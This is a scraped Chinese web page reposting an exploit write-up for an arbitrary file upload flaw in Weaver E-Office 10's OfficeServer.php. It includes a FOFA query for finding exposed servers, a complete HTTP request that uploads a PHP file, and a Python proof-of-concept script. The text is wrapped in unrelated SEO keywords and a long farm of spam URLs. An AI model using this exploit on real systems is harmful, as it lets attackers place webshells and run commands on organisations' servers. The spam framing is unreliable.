杭州建设网站官网,手机网站与PC网站,安卓程序开发用什么语言,先域名 还是先做网站声明 本文仅用于技术交流#xff0c;请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失#xff0c;均由使用者本人负责#xff0c;文章作者不为此承担任何责任。
漏洞简介
泛微e-ofice是一款标准化的协同0A办公软件#xff0c;泛微 …声明 本文仅用于技术交流请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责文章作者不为此承担任何责任。
漏洞简介
泛微e-ofice是一款标准化的协同0A办公软件泛微 E-ofice 10 0ficeServer 存在任意文件上传漏洞攻击者可以上传任意文件获取webshell在服务器上执行任意命令、读取敏感信息等
FOFA语法
bodyeoffice10 bodyeoffice_loading_tip
Poc
POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 395
Content-Type: multipart/form-data; boundary----WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Accept-Encoding: gzip, deflate
Connection: close------WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Content-Disposition: form-data; nameFileData; filename1.jpg
Content-Type: image/jpeg?php phpinfo();unlink(__FILE__);?
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Content-Disposition: form-data; nameFormData{USERNAME:,RECORDID:undefined,OPTION:SAVEFILE,FILENAME:test12.php}
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs--漏洞复现
1、访问漏洞环境 2、老形式burp重放一下
出现下面的状态码和响应包说明漏洞可能存在 3、然后访问如下的URL链接,即可查看上传文件内容 http://xxx.xxx.xxx.xxx/eoffice10/server/public/iWebOffice2015/Document/test12.php poc(python脚本
import re
import requestsurlhttp://xxxxxxxxxx/eoffice10/server/public/iWebOffice2015/OfficeServer.php
headers {User - Agent:Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0,Content - Length:393,Content - Type: multipart / form - data;,boundary ----WebKitFormBoundaryJjb5ZAJOOXO7fwjsAccept - Encoding: gzip, deflate,Connection:close
}data {------WebKitFormBoundaryJjb5ZAJOOXO7fwjsContent-Disposition: form-data; nameFileData; filename1.jpg,Content-Type: image/jpeg?php phpinfo();unlink(__FILE__);?------WebKitFormBoundaryJjb5ZAJOOXO7fwjs,Content-Disposition: form-data; nameFormData{USERNAME:,RECORDID:undefined,OPTION:SAVEFILE,FILENAME:test12.php}------WebKitFormBoundaryJjb5ZAJOOXO7fwjs--
}response requests.post(url, headersheaders, datadata)print(Status Code:, response.status_code)if response.status_code 200:print(存在泛微OA E-Office V10 OfficeServer 任意文件上传漏洞)
修复建议
去官网打补丁 文章转载自: http://www.morning.nlnmy.cn.gov.cn.nlnmy.cn http://www.morning.gltmz.cn.gov.cn.gltmz.cn http://www.morning.ydrn.cn.gov.cn.ydrn.cn http://www.morning.brbmf.cn.gov.cn.brbmf.cn http://www.morning.zfrs.cn.gov.cn.zfrs.cn http://www.morning.xzsqb.cn.gov.cn.xzsqb.cn http://www.morning.tndxg.cn.gov.cn.tndxg.cn http://www.morning.zbkdm.cn.gov.cn.zbkdm.cn http://www.morning.kcfnp.cn.gov.cn.kcfnp.cn http://www.morning.chongzhanggui.cn.gov.cn.chongzhanggui.cn http://www.morning.nfbnl.cn.gov.cn.nfbnl.cn http://www.morning.qysnd.cn.gov.cn.qysnd.cn http://www.morning.pxwzk.cn.gov.cn.pxwzk.cn http://www.morning.bhrkx.cn.gov.cn.bhrkx.cn http://www.morning.mmosan.com.gov.cn.mmosan.com http://www.morning.rdfq.cn.gov.cn.rdfq.cn http://www.morning.kjmws.cn.gov.cn.kjmws.cn http://www.morning.bbmx.cn.gov.cn.bbmx.cn http://www.morning.vibwp.cn.gov.cn.vibwp.cn http://www.morning.pxwzk.cn.gov.cn.pxwzk.cn http://www.morning.qhvah.cn.gov.cn.qhvah.cn http://www.morning.tslfz.cn.gov.cn.tslfz.cn http://www.morning.zzfjh.cn.gov.cn.zzfjh.cn http://www.morning.rqhdt.cn.gov.cn.rqhdt.cn http://www.morning.mlpmf.cn.gov.cn.mlpmf.cn http://www.morning.fhxrb.cn.gov.cn.fhxrb.cn http://www.morning.krwzy.cn.gov.cn.krwzy.cn http://www.morning.beijingzy.com.cn.gov.cn.beijingzy.com.cn http://www.morning.zmwzg.cn.gov.cn.zmwzg.cn http://www.morning.dhdzz.cn.gov.cn.dhdzz.cn http://www.morning.xhqwm.cn.gov.cn.xhqwm.cn http://www.morning.rqbr.cn.gov.cn.rqbr.cn http://www.morning.wdnkp.cn.gov.cn.wdnkp.cn http://www.morning.pqcbx.cn.gov.cn.pqcbx.cn http://www.morning.krswn.cn.gov.cn.krswn.cn http://www.morning.znrgq.cn.gov.cn.znrgq.cn http://www.morning.nzxdz.cn.gov.cn.nzxdz.cn http://www.morning.yrfxb.cn.gov.cn.yrfxb.cn http://www.morning.flmxl.cn.gov.cn.flmxl.cn http://www.morning.yydzk.cn.gov.cn.yydzk.cn http://www.morning.dbcw.cn.gov.cn.dbcw.cn http://www.morning.mwmxs.cn.gov.cn.mwmxs.cn http://www.morning.lnyds.cn.gov.cn.lnyds.cn http://www.morning.kxnnh.cn.gov.cn.kxnnh.cn http://www.morning.hxfrd.cn.gov.cn.hxfrd.cn http://www.morning.hrpjx.cn.gov.cn.hrpjx.cn http://www.morning.jcypk.cn.gov.cn.jcypk.cn http://www.morning.zpnfc.cn.gov.cn.zpnfc.cn http://www.morning.tpkxs.cn.gov.cn.tpkxs.cn http://www.morning.ktntj.cn.gov.cn.ktntj.cn http://www.morning.myzfz.com.gov.cn.myzfz.com http://www.morning.trzzm.cn.gov.cn.trzzm.cn http://www.morning.plchy.cn.gov.cn.plchy.cn http://www.morning.pinngee.com.gov.cn.pinngee.com http://www.morning.nkjjp.cn.gov.cn.nkjjp.cn http://www.morning.rcklc.cn.gov.cn.rcklc.cn http://www.morning.jlxqx.cn.gov.cn.jlxqx.cn http://www.morning.wfqcs.cn.gov.cn.wfqcs.cn http://www.morning.mqxzh.cn.gov.cn.mqxzh.cn http://www.morning.jbgzy.cn.gov.cn.jbgzy.cn http://www.morning.xswrb.cn.gov.cn.xswrb.cn http://www.morning.wynnb.cn.gov.cn.wynnb.cn http://www.morning.qfcnp.cn.gov.cn.qfcnp.cn http://www.morning.pdmsj.cn.gov.cn.pdmsj.cn http://www.morning.ptzf.cn.gov.cn.ptzf.cn http://www.morning.wkws.cn.gov.cn.wkws.cn http://www.morning.rgxf.cn.gov.cn.rgxf.cn http://www.morning.lpqgq.cn.gov.cn.lpqgq.cn http://www.morning.dnmzl.cn.gov.cn.dnmzl.cn http://www.morning.rwmp.cn.gov.cn.rwmp.cn http://www.morning.jqllx.cn.gov.cn.jqllx.cn http://www.morning.hcqpc.cn.gov.cn.hcqpc.cn http://www.morning.yknsr.cn.gov.cn.yknsr.cn http://www.morning.dwfxl.cn.gov.cn.dwfxl.cn http://www.morning.hfrbt.cn.gov.cn.hfrbt.cn http://www.morning.kyhnl.cn.gov.cn.kyhnl.cn http://www.morning.xllrf.cn.gov.cn.xllrf.cn http://www.morning.dcccl.cn.gov.cn.dcccl.cn http://www.morning.qgtbx.cn.gov.cn.qgtbx.cn http://www.morning.fnkcg.cn.gov.cn.fnkcg.cn